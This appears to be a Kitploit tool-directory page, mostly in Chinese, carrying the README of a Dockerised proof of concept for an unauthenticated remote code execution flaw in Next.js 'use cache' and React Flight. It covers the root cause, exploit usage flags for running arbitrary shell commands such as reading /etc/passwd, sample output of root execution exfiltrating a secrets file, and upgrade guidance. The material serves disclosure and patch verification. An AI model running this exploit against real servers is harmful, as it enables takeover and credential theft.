Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/rudsarkar/ghsa-673q-mjm6-r5xr
容器安全漏洞分析漏洞利用Web应用程序漏洞利用Web安全论文与研究Payload 开发
GitHubrudsarkar/ghsa-673q-mjm6-r5xr

GHSA-673q-mjm6-r5xr

针对 GHSA-673q-mjm6-r5xr 的 Docker 化概念验证:单个未经身份验证的请求即可在 Next.js use cache / React Flight 中实现 RCE,并附带一个已修补的受害版本用于对比。

查看仓库
8天前尚未审核
分享

GHSA-673q-mjm6-r5xr — 远程 RCE PoC(Next.js use cache / React Flight)

在返回类型化数组的 use cache 函数中实现未认证远程代码执行 Next.js >=16.0.0 <16.4.1 · CVSS v4 9.5 严重 · CWE-502(不可信数据反序列化) 上游根本原因:React Server Components — CVE-2026-126187 / GHSA-xqc2-xf4c-x3h3 (react-server-dom-* < 19.2.9 / 19.1.10 / 19.0.9 / 19.3.1)。已在 Next.js 16.4.1 中修复。

一个完全可用、Docker 化、远程的概念验证:网络攻击者发送一个未认证的 HTTP 请求,即可在受害容器内以 root 身份执行任意命令。使用相同源代码构建的已修补受害端则不受影响。

 attacker container  ──HTTP POST /profile (crafted body)──▶  victim container (Next.js-style
   (no privileged access)                                     `use cache` Flight boundary)
          ▲                                                           │
          └──────────── GET /proof  ◀── server-side `id`, SECRET.txt exfil ──┘

这是对 Next.js 所内置(react-server-dom-webpack)的 React Server Components Flight 传输协议的独立复现,分别固定到存在漏洞的(19.2.8)和已修补的(19.2.9)版本。完整的根本原因分析请参见 CASE-STUDY.md。


简要说明

make demo         # builds images, starts both victims, pwns the vulnerable one,
                  # then shows the same exploit fail against the patched one

或逐步进行:

docker compose up -d --build victim victim-patched   # :3000 vulnerable, :3001 patched
docker compose run --rm poc                     # RCE vs :3000   -> exit 0
docker compose run --rm poc-patched             # safe   vs :3001 -> exit 1
docker compose run --rm evidence                     # root-cause reproducers, side by side

要求:Docker + Docker Compose。运行时无需互联网访问(仅在构建时拉取固定版本的 npm 包时需要)。


你将看到的内容

针对存在漏洞的受害端([email protected]):

[+] REMOTE CODE EXECUTION CONFIRMED
    command : id; echo; echo "=== exfiltrated /app/SECRET.txt ==="; cat /app/SECRET.txt; echo; uname -a
    host    : 648b3c59052e  user: root  pid: 1
    --- command output (executed on the victim) ---
    | uid=0(root) gid=0(root) groups=0(root)
    |
    | === exfiltrated /app/SECRET.txt ===
    | DB_PASSWORD=hunter2
    | API_KEY=sk-live-7f3c9a21b0e4
    | FLAG{GHSA-673q-mjm6-r5xr-rce}
    |
    | Linux 648b3c59052e 6.10.14-linuxkit ... aarch64 GNU/Linux

对于已修补的受害端([email protected]),完全相同的请求会被解码为一张无害的个人资料卡——攻击者的字节始终留在 displayName 字符串内部,永远不会变成协议指令:

[-] No code execution observed. Target is PATCHED.
    decode result: {"keys":["avatar","thumbnail","displayName"],"displayName":"PPPP…"}

漏洞模式

受害者使用 Next.js 风格的 use cache 函数缓存用户“个人资料卡”。缓存的值捆绑了两个类型化数组,它们是同一个 ArrayBuffer 的视图(一个 avatar 和一个 thumbnail,从同一张解码后的图像中切片而来——这是一种非常常见的“解码一次、切片多个区域”模式)外加一个攻击者控制的字符串(来自请求的显示名称):

function getProfileCard(displayName) {
  'use cache'
  const decodedImage = new ArrayBuffer(8192 * 2)         // one decoded image
  const avatar    = new Uint8Array(decodedImage, 0, 8192)      // view 1
  const thumbnail = new Uint8Array(decodedImage, 8192, 8192)   // view 2 — SAME buffer
  return { avatar, thumbnail, displayName }                    // displayName = attacker input
}

当 React 的 Flight 编码器将第一个大型类型化数组流式写入字节 ReadableStream 时,共享的 ArrayBuffer 会被分离(WHATWG Streams 传输语义)。第二个视图的 byteLength 会静默变为 0——而这发生在其分块头已经声明了原始长度之后。随后解码器会过度读取,吞掉流帧结构,并让攻击者的 displayName 字节被解析为原始 Flight 协议行,从而注入攻击者选定的 Server Reference。React 在缓存读取期间调用它 → RCE。完整分析见 CASE-STUDY.md。


布局

.
├── README.md                 you are here
├── CASE-STUDY.md             full root-cause + exploitation write-up
├── docker-compose.yml        victim (vuln), victim-patched, poc, evidence
├── Makefile                  make demo / up / exploit / evidence / clean
├── victim/
│   ├── Dockerfile            ARG RSDW_VERSION selects 19.2.8 (vuln) or 19.2.9 (patched)
│   ├── server.js             faithful Next.js `use cache` encode→store→decode pipeline
│   └── app-modules.js        the server module graph the injected reference resolves against
├── poc/
│   ├── Dockerfile
│   └── exploit.js            remote HTTP exploit (flag-driven; see -h; self-aligning payload)
└── evidence/
    ├── 01-encoder-desync.cjs       header declares N bytes, writes 0
    ├── 02-type-confusion-sink.cjs  thenable whose .then is a server reference
    ├── 03-full-chain-rce.cjs       desync → injection → command execution
    ├── run.sh                      runs all three against vuln AND patched
    ├── sample-run.txt              captured output
    └── upstream-diffs/             the real Next.js 16.4.0 → 16.4.1 patch diffs

手动测试

poc 客户端由标志驱动。请参阅其完整手册:

docker compose run --rm poc -h          # or:  node poc/exploit.js -h
USAGE
  node exploit.js [options]

OPTIONS
  -t, --target <url>     Base URL of the victim           (default: http://localhost:3000)
  -c, --cmd <command>    Shell command to run on the victim
      --timeout <ms>     Per-request timeout in ms         (default: 15000)
      --dry-run          Build and print the payload; do not send anything
  -h, --help             Show this help and exit
      --version          Print version and exit

示例:

# run your own command against the vulnerable victim:
docker compose run --rm poc -t http://victim:3000 -c 'cat /etc/passwd | head -3'

# inspect the crafted payload without sending it:
docker compose run --rm poc --dry-run

# drive it directly (outside compose) against a mapped port:
node poc/exploit.js -t http://localhost:3000 -c 'id'

# a normal-looking (short) request — the shared-buffer shape alone corrupts the cache entry:
curl -s -XPOST --data 'Ada Lovelace' http://localhost:3000/profile

# inspect what the victim recorded after an exploit:
curl -s http://localhost:3000/proof | jq

修复措施

将 Next.js 升级到 ≥ 16.4.1(该版本内置了修复后的 React Flight 运行时)。如果你直接依赖 react-server-dom-webpack / -turbopack / -parcel,请升级到 19.2.9、19.1.10、 19.0.9 或 19.3.1。对于受影响的 use cache 函数,不存在应用层面的变通方案——升级是唯一的修复方式。

负责任的使用

本 PoC 仅针对它自行构建的两个一次性容器。请仅在你自己拥有或获得明确授权测试的系统上使用它。

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    962
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    348
  • 4

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    344
  • 5

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    324
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    297

探索所有工具

浏览我们的工具集合

查看所有工具 →